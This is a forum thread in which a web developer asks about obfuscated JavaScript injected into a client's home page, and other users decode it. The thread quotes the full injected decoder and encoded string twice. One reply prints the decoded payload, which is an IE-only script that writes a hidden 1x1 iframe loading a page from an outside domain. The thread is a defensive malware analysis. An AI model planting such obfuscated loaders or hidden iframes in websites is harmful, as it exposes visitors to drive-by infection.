Unknown javascript appeared in a clients home page

[ken.roberts]

Hello,
I'm hoping someone might help us understand the code listed below.

One of our clients has been having unknown Javascript appear in their
home page.
The client swears that they are not changing the page and we have been
on vacation since we last removed the first 'unknown' code.

The following code appears this week on their site:
<script language=JavaSc ript>function decrypt_p(x){va r
l=x.length,b=10 24,i,j,r,p=0,s= 0,w=0,t=Array(6 3,25,32,12,23,2 6,22,33,27,8,0, 0,0,0,0,0,51,44 ,41,20,46,52,18 ,42,0,49,29,60, 50,11,36,13,48, 35,15,10,55,34, 56,37,57,21,39, 0,0,0,0,3,0,2,3 0,61,14,31,1,62 ,19,7,58,16,54, 9,45,5,17,6,47, 59,24,40,38,28, 4,43,53);for(j= Math.ceil(l/b);j>0;j--){r='';for(i=Ma th.min(l,b);i>0 ;i--,l--){w|=(t[x.charCodeAt(p+ +)-48])<<s;if(s){r+=S tring.fromCharC ode(165^w&255); w>>=8;s-=2}else{s=6}}do cument.write(r) }}decrypt_p("rv BcveRszie7mhKLa _OIa_3vigdIhhAc qeO@Yic786VExeJ 7ienLF8OP4rdI9_ 3vMhKE3M3IpyKzM FwzYrdI9_AZoLKP olVI4yAE6_Kzyh3 LHQmviUd@qenL6y KPp49sMiOP4r3Pp 49VJ4JLSeOP4e9Q ojJ7oSO@MiALFru zphwEk8OviqDLM_ K7b6t7fyAIkQ3PM icUFeO@p_wQavms QeRXu_b7Mh3LHQX 7zhAPH8DLMiOI3r 3P4et76enItbt@p iJzeGuUF8cPaRwP aeJEwTAP_iKUM_w ESFwPhytWFSBUfR KPay9@Mi3PJrtzO 4c7oSO@fiJ@tb9W i6t@H@APOiOviFX 7odKzxQ3PiyKzf_ KztbtWiD1vSLgVT hdj2rB23jml1Guc veRszi0v")</script>

Has anyone seen this before? I did a quick search and it mentioned
somehting about it being and encryption technique.

Previously we had a script that called pop-up ads. We removed that, 3
days later (from server logs) this appeared.

Could the hosting company be compromized?

Any information or insight is much appreciated.

Cheers,
Ken

[drclue]

It looks to act upon a big old string of encoded material to produce
something written into the document.
It would help to know in what context this piece of script appeared.

ke*********@gma il.com wrote:

Hello,
I'm hoping someone might help us understand the code listed below.

One of our clients has been having unknown Javascript appear in their
home page.
The client swears that they are not changing the page and we have been
on vacation since we last removed the first 'unknown' code.

The following code appears this week on their site:
<script language=JavaSc ript>function decrypt_p(x){va r
l=x.length,b=10 24,i,j,r,p=0,s= 0,w=0,t=Array(6 3,25,32,12,23,2 6,22,33,27,8,0, 0,0,0,0,0,51,44 ,41,20,46,52,18 ,42,0,49,29,60, 50,11,36,13,48, 35,15,10,55,34, 56,37,57,21,39, 0,0,0,0,3,0,2,3 0,61,14,31,1,62 ,19,7,58,16,54, 9,45,5,17,6,47, 59,24,40,38,28, 4,43,53);for(j= Math.ceil(l/b);j>0;j--){r='';for(i=Ma th.min(l,b);i>0 ;i--,l--){w|=(t[x.charCodeAt(p+ +)-48])<<s;if(s){r+=S tring.fromCharC ode(165^w&255); w>>=8;s-=2}else{s=6}}do cument.write(r) }}decrypt_p("rv BcveRszie7mhKLa _OIa_3vigdIhhAc qeO@Yic786VExeJ 7ienLF8OP4rdI9_ 3vMhKE3M3IpyKzM FwzYrdI9_AZoLKP olVI4yAE6_Kzyh3 LHQmviUd@qenL6y KPp49sMiOP4r3Pp 49VJ4JLSeOP4e9Q ojJ7oSO@MiALFru zphwEk8OviqDLM_ K7b6t7fyAIkQ3PM icUFeO@p_wQavms QeRXu_b7Mh3LHQX 7zhAPH8DLMiOI3r 3P4et76enItbt@p iJzeGuUF8cPaRwP aeJEwTAP_iKUM_w ESFwPhytWFSBUfR KPay9@Mi3PJrtzO 4c7oSO@fiJ@tb9W i6t@H@APOiOviFX 7odKzxQ3PiyKzf_ KztbtWiD1vSLgVT hdj2rB23jml1Guc veRszi0v")</script>

Has anyone seen this before? I did a quick search and it mentioned
somehting about it being and encryption technique.

Previously we had a script that called pop-up ads. We removed that, 3
days later (from server logs) this appeared.

Could the hosting company be compromized?

Any information or insight is much appreciated.

Cheers,
Ken

[Mr. Ken]

drclue wrote:

It looks to act upon a big old string of encoded material to produce
something written into the document.
It would help to know in what context this piece of script appeared.

The code was inserted into the body of the page, directly after the
<bodytag.
The page does not appear to have any text, other than what the client
has supplied, appearing on the page after it appears in the browser.

[pcx99]

ke*********@gma il.com wrote:
decrypt_p("rvBc veRszie7mhKLa_O Ia_3vigdIhhAcqe O@Yic786VExeJ7i enLF8OP4rdI9_3v MhKE3M3IpyKzMFw zYrdI9_AZoLKPol VI4yAE6_Kzyh3LH QmviUd@qenL6yKP p49sMiOP4r3Pp49 VJ4JLSeOP4e9Qoj J7oSO@MiALFruzp hwEk8OviqDLM_K7 b6t7fyAIkQ3PMic UFeO@p_wQavmsQe RXu_b7Mh3LHQX7z hAPH8DLMiOI3r3P 4et76enItbt@piJ zeGuUF8cPaRwPae JEwTAP_iKUM_wES FwPhytWFSBUfRKP ay9@Mi3PJrtzO4c 7oSO@fiJ@tb9Wi6 t@H@APOiOviFX7o dKzxQ3PiyKzf_Kz tbtWiD1vSLgVThd j2rB23jml1Gucve Rszi0v")</script>

This is what is run when the page loads. This calls the decrypt
function and passes it this long string of "garbage".

the decrypt function decodes this into the following javascript program
and inserts it into the web page.

<SCRIPT language="JavaS cript">
var browserName=nav igator.appName;
if (browserName==" Microsoft Internet Explorer") {
window.status=" Done";
document.write( '<IFRAME name="PageConta iner"
src="http://wsfgfdgrtyhgfd. net/adv/077/dffg/index.php" width="1"
height="1" frameborder="0" ></IFRAME>');
}
</SCRIPT>

As you can see, the spyware targets only microsoft internet explorer
likely because it has some security flaw the site wants to exploit.
Basically a web page with the decrypt function will set up a small
iframe (1 pixel in size) and load the page at

http://wsfgfdgrtyhgfd.net/adv/077/dffg/index.php

Which is presently recorded as being owned by:
Domain Name: WSFGFDGRTYHGFD. NET
Registrar: ONLINENIC, INC.
Whois Server: whois.OnlineNIC .com
Referral URL: http://www.OnlineNIC.com
Name Server: NS4.ASDBIZ.BIZ
Name Server: NS3.ASDBIZ.BIZ
Status: ACTIVE
EPP Status: ok
Updated Date: 15-Nov-2006
Creation Date: 12-Oct-2006
Expiration Date: 12-Oct-2007

The web server for this domain is presently down so what the iframe was
actually doing is an open question.

But yes, you can assume that the effort to purge the computer of
mal/adware was not 100% effective.

---------------------------------------------------------------------------
http://www.hunlock.com -- Permanently under construction (And proud of it!)
$FA

[Mr. Ken]

pcx99 wrote:

>
The web server for this domain is presently down so what the iframe was
actually doing is an open question.

But yes, you can assume that the effort to purge the computer of
mal/adware was not 100% effective.

Wow, thank you.
Could I assume that this spyware is on the hosts server?

We're developing on the Mac using Text & Dreamweaver. I've done a virus
scan and haven't found anything at all.

Many thanks for the insight.

Cheers,
Ken

[vrocks]

More about it here:
http://www.aboutus.org/Wsfgfdgrtyhgfd.net

On Nov 25, 6:42 pm, "Mr. Ken" <ken.robe...@gm ail.comwrote:

pcx99 wrote:

The web server for this domain is presently down so what the iframe was
actually doing is an open question.

But yes, you can assume that the effort to purge the computer of
mal/adware was not 100% effective.Wow, thank you.

Could I assume that this spyware is on the hosts server?

We're developing on the Mac using Text & Dreamweaver. I've done a virus
scan and haven't found anything at all.

Many thanks for the insight.

Cheers,
Ken